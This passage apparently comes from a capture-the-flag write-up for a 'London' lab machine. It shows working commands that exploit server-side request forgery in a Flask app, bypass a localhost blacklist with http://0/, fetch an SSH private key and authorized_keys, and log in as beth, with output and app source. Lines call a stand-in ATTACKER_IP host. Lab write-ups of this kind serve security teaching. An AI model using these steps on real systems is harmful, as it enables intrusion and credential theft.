&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'FUZZ=http://&amp;lt;ATTACKER_IP&amp;gt;/evil'&lt;/span&gt; &lt;span class="nt"&gt;-mc&lt;/span&gt; all &lt;span class="nt"&gt;-fs&lt;/span&gt; 823
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www                     [Status: 200, Size: 335, Words: 84, Lines: 14, Duration: 149ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The real parameter is &lt;strong&gt;&lt;code&gt;www&lt;/code&gt;&lt;/strong&gt;, not &lt;code&gt;image_url&lt;/code&gt;. Confirmed with a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://&amp;lt;ATTACKER_IP&amp;gt;/evil.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;10.48.156.179 - - [10/Aug/2026 23:09:57] code 404, message File not found
10.48.156.179 - - [10/Aug/2026 23:09:57] "GET /evil HTTP/1.1" 404 -
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed: the server-side app &lt;strong&gt;fetches whatever URL is placed in &lt;code&gt;www&lt;/code&gt; and returns the response body&lt;/strong&gt;. Full-blown SSRF.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bypassing the localhost Filter
&lt;/h2&gt;

&lt;p&gt;Direct attempts at internal addresses were blocked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://127.0.0.1/'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(no useful output - blocked/empty)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://127.0.0.1:5000/'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;title&amp;gt;403 Forbidden&amp;lt;/title&amp;gt;
&amp;lt;h1&amp;gt;Forbidden&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tried the numeric all-zero loopback notation instead of the literal string &lt;code&gt;127.0.0.1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;HTML&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&lt;/span&gt; &lt;span class="na"&gt;bgcolor=&lt;/span&gt;&lt;span class="s"&gt;"gray"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;London brigde&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;400px&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;600px&lt;/span&gt; &lt;span class="na"&gt;src =&lt;/span&gt;&lt;span class="s"&gt;"static/1.webp"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;font&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"monotype corsiva"&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;18&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;London Bridge is falling down&lt;span class="nt"&gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    Falling down, falling down&lt;span class="nt"&gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    London Bridge is falling down&lt;span class="nt"&gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    My fair lady&lt;span class="nt"&gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    ...
&lt;span class="nt"&gt;&amp;lt;/font&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/HTML&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;http://0/&lt;/code&gt; resolves to &lt;code&gt;0.0.0.0&lt;/code&gt; (loopback) but doesn't contain the literal blocked substrings, so the filter is bypassed and we're now hitting an &lt;strong&gt;internal-only web service&lt;/strong&gt; the app couldn't otherwise reach from outside. This confirmed via the app's own source later (&lt;code&gt;app.py&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_local&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;localhost&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0.0.0.0&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A pure substring blacklist - &lt;code&gt;0&lt;/code&gt; (bare) never appears in that list.&lt;/p&gt;

&lt;h2&gt;
  
  
  Enumerating the Internal Service via SSRF
&lt;/h2&gt;

&lt;p&gt;Fuzzed for files/directories reachable through the SSRF against this internal server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/FUZZ'&lt;/span&gt; &lt;span class="nt"&gt;-fs&lt;/span&gt; 823,469
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;templates               [Status: 200, Size: 1294, Words: 358, Lines: 44, Duration: 67ms]
uploads                 [Status: 200, Size: 630, Words: 23, Lines: 22, Duration: 56ms]
static                  [Status: 200, Size: 420, Words: 19, Lines: 18, Duration: 157ms]
.                       [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 73ms]
.cache                  [Status: 200, Size: 474, Words: 19, Lines: 18, Duration: 78ms]
.local                  [Status: 200, Size: 414, Words: 19, Lines: 18, Duration: 135ms]
.ssh                    [Status: 200, Size: 399, Words: 18, Lines: 17, Duration: 133ms]
.bashrc                 [Status: 200, Size: 3771, Words: 522, Lines: 118, Duration: 131ms]
.bash_logout            [Status: 200, Size: 220, Words: 35, Lines: 8, Duration: 59ms]
.bash_history           [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 142ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This internal server on &lt;code&gt;0.0.0.0&lt;/code&gt;/port 80 is a plain &lt;strong&gt;directory listing HTTP server&lt;/strong&gt; rooted at a user's home directory (&lt;code&gt;templates&lt;/code&gt;, &lt;code&gt;static&lt;/code&gt;, &lt;code&gt;uploads&lt;/code&gt; match the Flask app's own project layout - the internal server is literally serving the app's project root, home-directory style). &lt;code&gt;.ssh&lt;/code&gt; shows up as a listable directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/.ssh/'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Directory listing for /.ssh/&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"authorized_keys"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;authorized_keys&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"id_rsa"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;id_rsa&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Extracting the SSH Private Key via SSRF
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/.ssh/id_rsa'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAz1yFrg9FAZAI4R37aQWn/ePTk/MKfz2KQ+OE45KErguL34Yj
...
7MDu4QKBgFIomwhD+jmr3Vc2HutYkl3zliSD239sH3k118sTHbedvKH5Q7nw0C+U
a7RMp/cXWZKdyRgFxQ7DQEorzWi5bLAyxXnMg0ghwWdf4nugQmaEG7t+OYUNsf7M
fDLzMA915WcODR6L0mWO0crAMbZQOkg1KlAiwQSQmuUpPqyAfq6x
-----END RSA PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Saved it and locked down permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/.ssh/id_rsa'&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; | &lt;span class="nb"&gt;tee &lt;/span&gt;id_rsa
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Guessed the wrong user first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa www@&amp;lt;MACHINE_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www@&amp;lt;MACHINE_IP&amp;gt;: Permission denied (publickey).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulled &lt;code&gt;authorized_keys&lt;/code&gt; too, which carries a comment identifying the actual owning user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/.ssh/authorized_keys'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPXIWuD0UBkAjhHftpBaf949OT8wp/PYpD44TjkoSuC4vfhiPkpzVUmMNNM1GZz681FmJ4LwTB6VaCnBwoAJrvQp7ar/vNEtYeHbc5TFaJIAA5FN5rWzl66zeCFNaNx841E4CQSDs7dew3CCn3dRQHzBtT4AOlmcUs9QMSsUqhKn53EbivHCqkCnqZqqwTh0hkd0Cr5i3r/Yc4REqsVaI41Cl3pkDxrfbmhZdjxRpES8pO5dyOUvnq3iJZDOxFBsG8H4RODaZrTW78eZbcz1LKug/KlwQ6q8+e4+mpcdm7sHAAszk0eFcI2a37QQ4Fgq96OwMDo15l8mDDrk1Ur7aF beth@london
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Comment &lt;code&gt;beth@london&lt;/code&gt; gives the right username:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa beth@&amp;lt;MACHINE_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
Last login: Mon May 13 22:38:30 2024 from 192.168.62.137
&lt;/span&gt;&lt;span class="gp"&gt;beth@london:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;beth
&lt;/span&gt;&lt;span class="gp"&gt;beth@london:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=1000(beth) gid=1000(beth) groups=1000(beth)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Post-Exploitation as beth
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;-rw-rw-r--  1 beth beth 3215 Apr 17  2024 app.py
-rw-rw-r--  1 beth beth  328 Apr 17  2024 gunicorn_config.py
-rw-r--r--  1 beth beth 1270 Apr 17  2024 index.html
drwxrwxr-x  6 beth beth 4096 Sep 17  2023 .env
drwxrwxr-x  2 beth beth 4096 Apr 17  2024 static
drwxrwxr-x  2 beth beth 4096 Apr 17  2024 templates
drwxrwxr-x  2 beth beth 4096 Aug 10 19:52 uploads
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full app source confirms the vulnerable routes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;app.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;send_from_directory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;abort&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;PIL&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;werkzeug.utils&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;secure_filename&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_local&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;localhost&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0.0.0.0&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;UPLOAD_FOLDER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;uploads&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;UPLOAD_FOLDER&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;UPLOAD_FOLDER&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;makedirs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UPLOAD_FOLDER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exist_ok&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_image&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;home&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;london.html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/gallery&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;gallery&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;filenames&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;UPLOAD_FOLDER&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;index.html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filenames&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;filenames&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;home&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
